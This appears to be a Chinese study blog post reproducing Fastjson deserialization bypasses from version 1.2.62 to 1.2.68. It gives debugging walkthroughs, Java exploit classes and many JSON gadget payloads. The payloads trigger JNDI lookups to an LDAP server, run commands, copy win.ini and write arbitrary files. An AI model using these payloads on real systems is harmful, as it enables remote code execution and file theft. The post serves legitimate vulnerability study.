1.2.62漏洞分析

前言

学的过程发现有些依赖导入真的慢,所以这里直接把整个pom.xml贴出来可以一次性导完算了,看自己选择

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<dependencies>  
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.66</version>
</dependency>

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.12.0</version>
</dependency>

<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.3.6</version>
</dependency>

<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>

<dependency>
<groupId>com.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>1.3.1</version>
</dependency>

<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.15.0</version>
</dependency>

<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.15.0</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>2.0.7</version>
</dependency>

<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.4</version>
</dependency>
</dependencies>

这就是整个fastjson复现所需的依赖了

前提条件

  • 需要开启AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包;xbean-reflect 包的版本不限,我这里把 pom.xml 贴出来。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <dependency>  
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.62</version>
    </dependency>
    <dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-reflect</artifactId>
    <version>4.18</version>
    </dependency>
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>

漏洞原理

这个链子也是黑名单的绕过,所以补丁就不看了直接看漏洞原理
这个版本绕过黑民单利用的是org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl() 函数存在 JNDI 注入漏洞,可由其构造函数处触发利用。
image-20230828001845029
但是toObjectImpl并不是getter或者setter方法,其实这些都在其父类完成在构造函数中调用了父类AbstractConverter的构造函数,而在父类中的一个setter方法即setAsText方法中调用了toObject
image-20230828002015008
继续看toObject方法,里面调用了toObjectImpl方法
image-20230828002027786
然后看父类的toObjectImpl方法
image-20230828002039348
是一个抽象方法,意味着只能在其子类中实现,这样就调到了org.apache.xbean.propertyeditor.JndiConverter 类的 toObjectImpl()方法
所以exp如下,server端还是用之前的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package bypass;  

import org.apache.xbean.propertyeditor.JndiConverter;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;

public class bypass62 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:1099/ExportObject\"}";
JSON.parse(poc);
}
}

image-20230828002055319

调试分析

下面调试看一下,直接在checkAutoType函数下断点来到这里看,在这个版本中又多了一些代码逻辑这里借用一下Drunkbaby佬的代码解释吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if (typeName == null) {
return null;
}

// 限制了JSON中@type指定的类名长度
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}

// 单独对expectClass参数进行判断,设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

String className = typeName.replace('$', '.');
Class<?> clazz = null;

final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

// 1.2.43检测,"["
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.41检测,"Lxx;"
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}

// 1.2.42检测,"LL"
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中,若在则internalWhite为true
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;

然后来到下面这里会进行一个黑白名单检测,这个类都不在所以继续往下
image-20230828002117567
往下来到了这里进行类加载
image-20230828002142023
跟进去发现在下面这里拿到了JndiConerter类返回了clazz完成了类加载
image-20230828002202507
后面就是调用构造方法的过程了不看了
这里未开启AutoType为什么不行可以参考下面博客
Fastjson反序列化漏洞(4)—1.2.68版本 – JohnFrod’s Blog

1.2.66漏洞分析

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core和 Anteros-DBCP 包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;
    导入maven的包可以在Maven Repository: Search/Browse/Explore (mvnrepository.com)直接找

EXP

新Gadget绕过黑名单限制。

1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

image-20230828002232239
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:

1
2
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

image-20230828002244637
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:

1
{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:1099/Exploit\"}}

这条链的这个包没找到这个版本的利用失败
各条链的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.shiro.jndi.JndiObjectFactory;

public class bypass66 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://127.0.0.1:1099/Exploit\"],\"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:1099/Exploit\"}}";
JSON.parse(poc);
}
}

这几条链子都是利用的jndi打的,也是拿一些新的类绕的黑名单

1.2.67漏洞分析

这个也是黑名单绕过,不过用到到了新的东西学习一下

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

漏洞原理

新Gadget绕过黑名单限制。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

image-20230828002317395
org.apache.shiro.jndi.JndiObjectFactory类PoC:

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

image-20230828002342936
EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class bypass67 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\"," +
// " \"jndiNames\":[\"ldap://127.0.0.1:1099/ExportObject\"], \"tm\": {\"$ref\":\"$.tm\"}}";

String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"instance\":{\"$ref\":\"$.instance\"}}";
JSON.parse(poc);
}
}

调试分析

看一下关键的地方

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

根据PoC:{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}先调用jndiNames属性的setter方法,注意这里接收参数类型是List,因此构造对应的值需要是数组形式:
image-20230828002401114
然后是这里的getTm()函数,回忆一下getter的调用要满足的条件,这个getter并不满足,但是为什么能调用到呢?这里就涉及到了Fastjson循环引用

Fastjson循环引用

Fastjson支持循环引用,并且是默认打开的。参考:https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

在Fastjson中,往JSONArray类型的对象里面add数据时,如果数据相同,那么就会被替换成$ref,也就是被简化了,因为数据一样所以直接指向上一条数据。

$ref即循环引用:当一个对象包含另一个对象时,Fastjson就会把该对象解析成引用。引用是通过$ref标示的。

语法 描述
{"$ref":"$"} 引用根对象
{"$ref":"@"} 引用自己
{"$ref":".."} 引用父对象
{"$ref":"../.."} 引用父对象的父对象
{"$ref":"$.members[0].reportTo"} 基于路径的引用

那这样就清楚了,org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{"$ref":"$.tm"},实际上就是基于路径的引用,相当于是调用root.getTm()函数,这个root通常表示整个 JSON 对象的根,进而直接调用了tm字段的getter方法了。

org.apache.shiro.jndi.JndiObjectFactory

根据PoC:{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
先调用resourceName属性的setter方法设置属性值:
image-20230828002421345
往下,就是和前面同理的,通过"instance":{"$ref":"$.instance"}即循环引用来调用instance的getter方法,其中存在JNDI注入漏洞:
image-20230828002446665
然后这个修复也是加黑名单

1.2.68漏洞分析(expectClass绕过AutoType)

前提条件

  • Fastjson <= 1.2.68;
  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;

漏洞原理

本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。
简单地说,本次绕过checkAutoType()函数的攻击步骤为:

  1. 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
  2. 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;

漏洞复现

简单地验证利用expectClass绕过的可行性,先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package bypass;  

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {
}
}

exp如下

1
2
3
4
5
6
7
8
9
10
package bypass;  

import com.alibaba.fastjson.JSON;

public class bypass68 {
public static void main(String[] args) {
String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"bypass.VulAutoCloseable\",\"cmd\":\"calc\"}";
JSON.parse(s);
}
}

无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行:
image-20230828002512553

调试分析

这里直接在checkAutoType函数下断点,看看怎么绕过的
第一次是传入java.lang.AutoCloseable类进行校验,这里CheckAutoType()函数的expectClass参数是为null的
image-20230828002535960
然后继续往下,从缓存 Mapping 中获取到了 AutoCloseable 类赋值给 clazz 后再进行了一系列的判断,clazz 是否为 null,以及关于 internalWhite 的判断,internalWhite 就是内部加白的名单,很显然我们这里肯定不是,内部加白的名单一定是非常安全的。
image-20230828002602765
然后后面这个判断里面出现了 expectClass,先判断 clazz 是否不是 expectClass 类的继承类且不是 HashMap 类型,是的话抛出异常,否则直接返回该类。
我们这里没有 expectClass,所以会直接返回 AutoCloseable 类:
image-20230828002621537
接着,返回到 DefaultJSONParser 类中获取到 clazz 后再继续执行,根据 AutoCloseable 类获取到反序列化器为 JavaBeanDeserializer,然后应用该反序列化器进行反序列化操作:
image-20230828002641320
然后进入deserialze这里,调用的是 JavaBeanDeserializerdeserialze() 方法进行反序列化操作,其中 type 参数就是传入的 AutoCloseable类,如图:
image-20230828002657296
往下的逻辑,就是解析获取 PoC 后面的类的过程。这里看到获取不到对象反序列化器之后,就会进去如图的判断逻辑中,设置 type 参数即 java.lang.AutoCloseable 类为 checkAutoType() 方法的 expectClass 参数来调用 checkAutoType() 函数来获取指定类型,然后在获取指定的反序列化器
image-20230828002726832
此时,第二次进入 checkAutoType() 函数,typeName 参数是 PoC 中第二个指定的类,expectClass 参数则是 PoC 中第一个指定的类
image-20230828002751466
往下,由于java.lang.AutoCloseable类并非其中黑名单中的类,因此expectClassFlag被设置为true:
image-20230828002810033
往下,由于expectClassFlag为true且目标类不在内部白名单中,程序进入AutoType开启时的检测逻辑
image-20230828002835724
由于org.example.VulAutoCloseable类不在黑白名单中,因此这段能通过检测并继续往下执行。
往下,未加载成功目标类,就会进入AutoType关闭时的检测逻辑,和上同理,这段能通过检测并继续往下执行:
image-20230828002854090
往下,由于expectClassFlag为true,进入如下的loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的
image-20230828002912531
跟进该函数,使用AppClassLoader加载org.example.VulAutoCloseable类并直接返回:
image-20230828002929465
往下,判断是否jsonType,true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制:
image-20230828002952920
前面的都能通过,往下,如果expectClass不为null,则判断目标类是否是expectClass类的子类,是的话就添加到Mapping缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断
image-20230828003010006
checkAutoType()调用完返回类之后,就进行反序列化操作、新建恶意类实例进而调用其构造函数从而成功触发漏洞:
image-20230828003031002
小结:
第一个 @type 是作为第二个指定的类里面的 expectClass,并且需要加载的目标类是expectClass类的子类或者实现类这就是构造恶意类为什么VulAutoCloseable(继承或者)实现AutoCloseable类 (不在黑名单中),当传入checkAutoType()函数的expectClass参数不为null,并且需要加载的目标类是expectClass类的子类或者实现类时(不在黑名单中),就将需要加载的目标类当做是正常的类然后通过调用TypeUtils.loadClass()函数进行加载。

实际利用

这里就是找一下实际中可利用的类,因为上面是自己构造的验证一下可行性
寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现了AutoCloseable接口的。
大佬寻找 gadget 时的条件是这样的。

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
    以上三个组合在一起就能构造成一个写文件的利用链,我通过扫描了一下 JDK ,找到了符合第一个和第三个条件的类。
    分别是 FileOutputStream 和 ObjectOutputStream,但这两个类选取的构造器,不符合情况,所以只能找到这两个类的子类,或者功能相同的类。

复制文件(任意文件读取漏洞)

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
依赖:

1
2
3
4
5
<dependency>  
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

看下SafeFileOutputStream类的源码,其SafeFileOutputStream(java.lang.String, java.lang.String)构造函数判断了如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中,正是利用其构造函数的这个特点来实现Web场景下的任意文件读取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
public class SafeFileOutputStream extends OutputStream {
protected File temp;
protected File target;
protected OutputStream output;
protected boolean failed;
protected static final String EXTENSION = ".bak";

public SafeFileOutputStream(File file) throws IOException {
this(file.getAbsolutePath(), (String)null);
}

// 该构造函数判断如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}

this.copy(this.temp, this.target);
}

this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}

public void close() throws IOException {
try {
this.output.close();
} catch (IOException var2) {
this.failed = true;
throw var2;
}

if (this.failed) {
this.temp.delete();
} else {
this.commit();
}

}

protected void commit() throws IOException {
if (this.temp.exists()) {
this.target.delete();
this.copy(this.temp, this.target);
this.temp.delete();
}
}

protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = null;
BufferedOutputStream destination = null;

try {
source = new BufferedInputStream(new FileInputStream(sourceFile));
destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
destination.close();
} finally {
FileUtil.safeClose(source);
FileUtil.safeClose(destination);
}

}
}
}

protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}

this.temp = new File(tempPath);
}

public void flush() throws IOException {
try {
this.output.flush();
} catch (IOException var2) {
this.failed = true;
throw var2;
}
}

public String getTempFilePath() {
return this.temp.getAbsolutePath();
}

protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];

while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}

destination.write(buffer, 0, bytesRead);
}
}

public void write(int b) throws IOException {
try {
this.output.write(b);
} catch (IOException var3) {
this.failed = true;
throw var3;
}
}
}

exp如下,这里不得不说依赖导的真慢,我下载地址都换成了国内的了还这么慢

1
2
3
4
5
6
7
8
9
10
11
12
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.eclipse.core.internal.localstore.SafeFileOutputStream;

public class bypass68 {
public static void main(String[] args) {
String s = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\", \"tempPath\":\"C:/Windows/win.ini\", \"targetPath\":\"E:/flag.txt\"}";
JSON.parse(s);
}
}

image-20230828003050698
这里成功自动生成了flag.txt并且把win.ini复制了下来

写入文件

写内容类:com.esotericsoftware.kryo.io.Output
依赖:

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

Output类主要用来写内容,它提供了setBuffer()setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
* @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
this.outputStream = outputStream;
position = 0;
total = 0;
}

...

/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
* maxBufferSize. */
public void setBuffer (byte[] buffer) {
setBuffer(buffer, buffer.length);
}

...

/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
if (outputStream == null) return;
try {
outputStream.write(buffer, 0, position);
outputStream.flush();
} catch (IOException ex) {
throw new KryoException(ex);
}
total += position;
position = 0;
}
...

接着,就是要看怎么触发Output类flush()函数了,flush()函数只有在close()require()函数被调用时才会触发,其中require()函数在调用write相关函数时会被触发。
其中,找到JDK的ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**  
* Creates new BlockDataOutputStream on top of given underlying stream.
* Block data mode is turned off by default.
*/
BlockDataOutputStream(OutputStream out) {
this.out = out;
dout = new DataOutputStream(this);
}

/**
* Sets block data mode to the given mode (true == on, false == off)
* and returns the previous mode value. If the new mode is the same as
* the old mode, no action is taken. If the new mode differs from the
* old mode, any buffered data is flushed before switching to the new
* mode.
*/
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
return blkmode;
}
drain();
blkmode = mode;
return !blkmode;
}

...

/**
* Writes all buffered data from this stream to the underlying stream,
* but does not flush underlying stream.
*/
void drain() throws IOException {
if (pos == 0) {
return;
}
if (blkmode) {
writeBlockHeader(pos);
}
out.write(buf, 0, pos);
pos = 0;
}

对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public ObjectOutputStream(OutputStream out) throws IOException {  
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput
看到,SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件了:

1
2
3
4
5
6
7
8
9
10
public SerialOutput(OutputStream out, ClassCatalog classCatalog)  
throws IOException {

super(out);
this.classCatalog = classCatalog;

/* guarantee that we'll always use the same serialization format */

useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

exp如下,用到了Fastjson循环引用的技巧来调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package bypass;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.eclipse.core.internal.localstore.SafeFileOutputStream;

public class bypass68 {
public static void main(String[] args) {
// String s = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\", \"tempPath\":\"C:/Windows/win.ini\", \"targetPath\":\"E:/flag.txt\"}";

String s = "{\n" +
" \"stream\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\": \"E:/hacked.txt\",\n" +
" \"tempPath\": \"E:/test.txt\"\n" +
" },\n" +
" \"writer\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
" \"buffer\": \"cHduZWQ=\",\n" +
" \"outputStream\": {\n" +
" \"$ref\": \"$.stream\"\n" +
" },\n" +
" \"position\": 5\n" +
" },\n" +
" \"close\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
" \"out\": {\n" +
" \"$ref\": \"$.writer\"\n" +
" }\n" +
" }\n" +
"}";
JSON.parse(s);
}
}

image-20230828003107850
这里写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进PHP代码等。
这里就有点没懂了,我的test.txt其实是不存在的但是也利用成功了?仔细审一下SafeFileOutputStream代码(我靠GPT)

  • SafeFileOutputStream(File file):构造函数接受一个File对象,它会调用另一个构造函数来初始化。它将文件的绝对路径传递给第二个构造函数,tempPath参数为null。
  • SafeFileOutputStream(String targetPath, String tempPath):这个构造函数用于初始化SafeFileOutputStream对象。它首先创建一个File对象来表示目标文件,然后调用createTempFile方法创建一个File对象来表示临时文件。接着,它检查目标文件是否存在,如果不存在,则创建一个新的BufferedOutputStream对象用于写入目标文件,否则将临时文件的内容复制到目标文件中。

复制文件是如果tempPath存在就会直接复制,如果不存在不会创建它只是用来指定路径,但是写文件就是利用buffer参数就写入内容然后生成一个文件,但是在实际渗透中怎么利用还是没get到,难道是直接写shell?

其他一些绕过黑名单的Gadget

这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制。

1.2.59

com.zaxxer.hikari.HikariConfig类PoC:

1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:

1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类PoC:

1
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类PoC:

1
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

未知版本

